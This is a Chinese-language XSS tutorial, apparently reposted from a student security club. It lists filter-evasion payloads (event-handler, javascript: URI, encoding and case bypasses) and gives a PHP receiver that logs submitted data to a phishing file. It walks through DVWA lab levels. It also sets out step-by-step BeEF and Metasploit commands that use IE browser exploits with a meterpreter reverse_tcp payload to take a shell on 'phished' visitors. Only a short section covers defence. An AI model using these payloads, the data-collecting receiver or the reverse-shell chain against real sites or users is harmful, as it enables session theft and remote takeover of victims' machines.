XSS专题
Posted 网络空间安全社
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS专题相关的知识,希望对你有一定的参考价值。
2018/10/30 22:20
1xss的类型
XSS被称为跨站脚本攻击(Cross-site script),因为与CSS(层叠样式表)重名,故‘跨站脚本攻击’改名为‘XSS’。
xss有三种:
1.反射型xss,2.存储型xss,3.基于DOM的xss
(因笔者认为‘基于DOM的xss’可被包括于‘反射型xss’,以下讲解以反射型xss和存储型xss为例)
2xss变形逃逸的常用技巧
#1.缩短网址:
一个长链接比较危险,一般会去缩短网址
如
网址:http://www.ft12.com/(该缩短网址功能没有防御xss的安全功能,所以我们可以使用该网址)
可缩短网址放到公网上且生成一个该网址的二维码
#2.前端限制长度
如果前端js限制输入长度,可直接修改js(如:修改前端maxlength突破长度限制)
#3.javascript的伪协议
类似php文件包含的那种伪协议,javascript也有伪协议
javascript:alert(document.cookie)(直接放在url上回车就会执行)
<a href='javascript:alert(document.cookie)'>
<img src='javascript:alert('xss')'>(不是所有浏览器都支持伪协议)
<a herf = javascript:alert(1)>
#4.产生自己的事件(拼接标签,拼凑xss)
eg:onclick,onmouseover,onkeydown
<img src='#' onerror='alert('xss')'>
<img src=1 onerror='alert('xss')'>
<input type='button' value='click!' onclick='alert('1')'>(拼凑)
<body onload=alert('xss')>
<.... onmouseover=alert(1)>
#5.构造标签
eg:闭合<pre>或者<textarea>标签后执行js。
<pre><a onclick='javascript:alert(/xss/)'>click the url</a></pre>
#6.双写
拼凑scriscriptpt诸如此类的双重xss逃逸关键词过滤
#7.AugularJs
<span class="ng-include:"></span>
ng-include指令的值可以是一个表达式返回一个文件名,默认情况下文件需要在同一个域名下。通过src的请求,augularJs会解析其为文件内部的东西
菜鸟教程学习网址:
https://www.runoob.com/angularjs/angularjs-tutorial.html
#8.type为hidden的表单
寻找网页直接打印http数据包中的某些http请求行中的内容
#9.编码(看xss语句在什么环境运行)
常用编码网址:xssor.io
1.URL编码(必须先确认目标服务器可以自行解码URL编码)
2.实体编码:&开头分号结尾( < 被编码为 &It;)
eg:<a onclick="javascript:alert(/xss/)">click me</a>
(html接收到一个html实体字符后会解码,所以代码还原成了真正的代码)
字符编码:十进制(<)、十六进制(<)、ASCII、unicode编码
3.js编码(不够个数补0):三个八进制数字(\145),两个十六进制(\x65),四个十六进制(\u0065)(适用js进行的输出)
(可以外部引用自己的js文件)
4.CSS编码:1~6个十六进制数字(\65 or \65 or \00065)
(引用外部的自己写的css文件)
#10.过滤某些符号
过滤空格:使用其他东西代替:如%0a%0d
eg:http://????/level16.php?keyword=<img%0a%0dsrc=x%0a%0donclick=alert(1)>
(这个不是链接啊啊啊注意)
2.1如何制作简单的xss接受平台
接收端:
<?php
if(isset($_POST['submit'])){
foreach($_POST as $key=>$value)
{
$log = fopen("xssphishing.txt","a");
fwrite($log,$key."=".$value."\r\n");
}
fclose($log);
}
header("location:http//原始界面,进后台的正常页面")
?>
3dvwa
反射型xss;难度:low
源代码:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
因为发现输入什么就输出什么,所以可以直接输入payload:'<script>alert(document.cookie)</script>'直接弹框验证xss漏洞的存在。
反射型xss;难度:medium
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>
从源代码可知后台php脚本将‘<script>’标签替换为空字符串。我们可以大小写绕过。
payload:‘<scrIpt>alert(document.cookie)</scRipt>’
反射型xss;难度:high
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
从源代码可知使用了htmlspecialchars()函数进行了过滤。htmlspecialchars()可将
& " ' < >
这五个字符转译为HTML实体:(“&被转译字符的名字;”)。
( 注意:htmlspecialchars()函数可以过滤单引号,但是默认的htmlspecialchars()不过滤单引号)
此处htmlspecialchars()函数放置处没有造成拼接之类的漏洞。此题应该无解吧???我看到国外有个人是http抓包把cookie的high改成了low直接简单输出alert(1)的。。。。。。
有位16级的学长说如果环境是nginx的话可以利用其他漏洞绕过htmlspecialchars()函数,有兴趣的同学自己下来尝试复现一下吧。
4防御
1.直接防御xss
过滤script标签
addslashes()
htmlspecialchars()
str_replace()
2.为cookie上保险
*关键cookie设置http_only属性
*security属性(被ssl层加密传输)
5beef + xss
xss的常用漏洞和ie版本有关
浏览器漏洞利用:
漏洞1:ms10_002 -> ie6(一般xp自带ie7)
漏洞2:ie_execcommand_uaf -> ie7,8,9(一般win7win8自带ie这些版本)
漏洞1:ms10_002
Kali系统下执行命令如下:
1.cd /usr/share/beef-xss/
(切换到beef所在目录)
2../beef
(启动beef)
(http://xxxxx/hook.js,这个链接是xss攻击时挂上去的payload。如,在某网页挂xss:<script src='http://xxxxx/hook.js'></script>;http://xxxx/ui/panel,这个链接是beef后台,用户登录该后台即可控制被劫持的浏览器调整各种姿势。默认用户密码均为beef)
3.use windows exploit/browser/ms10_002_aurora
(漏洞模块文件可能会因为kali的不同而不同,如果找不到模块位置可以再找一找)
4.set PAYLOAD windows/meterpreter/reverse_tcp
(这里是设置木马的一个msf命令)
5.set SRVHOST 自己的ip(开启挂马网页的ip)
6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)
7.set URIPATH /(设置访问域,写 / 即可)
8.set LHOST 自己的ip(设置监听ip)
9.set LPORT 自己的端口B(监听接收流量的端口)
10.exploit(漏洞开始利用,等待钓鱼)
11.session -i 序号(和被钓鱼的谁交互)
12.shell(获取被钓鱼者的shell权限)
漏洞2:ie_execcommand_uaf
Kali系统下执行命令如下:
1.cd /usr/share/beef-xss/(切换到beef所在目录)
2../beef(启动beef)
# 3.use exploit/windows/browser/ie_execcommand_uaf
4.set PAYLOAD windows/meterpreter/reverse_tcp
(这里是设置木马的一个msf命令)
5.set SRVHOST 自己的ip(开启挂马网页的ip)
6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)
7.set URIPATH /(设置访问域,写 / 即可)
# 8.set LHOST 自己的ip(设置监听ip)
# 9.set LPORT 自己的端口B(监听接收流量的端口)
10.exploit(漏洞开始利用,等待钓鱼)
11.session -i 序号(和被钓鱼的谁交互)
12.shell(获取被钓鱼者的shell权限)
6连接beef和msf
为什么要链接beef和msf?
如果连接beef和msf的话(两个工具被设计成可以连接的),beef的响应的攻击模块会大量增加。
一般直接使用chrome浏览器登录beef的panel后台,如下图,会有一定程度上的翻译
比如调用摄像头
在这里缺flash,否则可能会被利用。不过常用的URL跳转肯定能被利用到笔者浏览器上的。
链接如下(两种方式略有不同):
kali系统连接beef和msf:https://jingyan.baidu.com/article/3052f5a1d6b60597f31f8683.html
塔主推荐的REEBUF的文章:https://www.freebuf.com/sectool/4799.html
7某位师傅的两篇精彩的WP
ShaoBaoBaor
上篇:
http://shaobaobaoer.cn/archives/603/xss-%E6%8C%91%E6%88%98%E8%B5%9B-wp-%E4%B8%8A
下篇:
http://shaobaobaoer.cn/archives/604
以上是关于XSS专题的主要内容,如果未能解决你的问题,请参考以下文章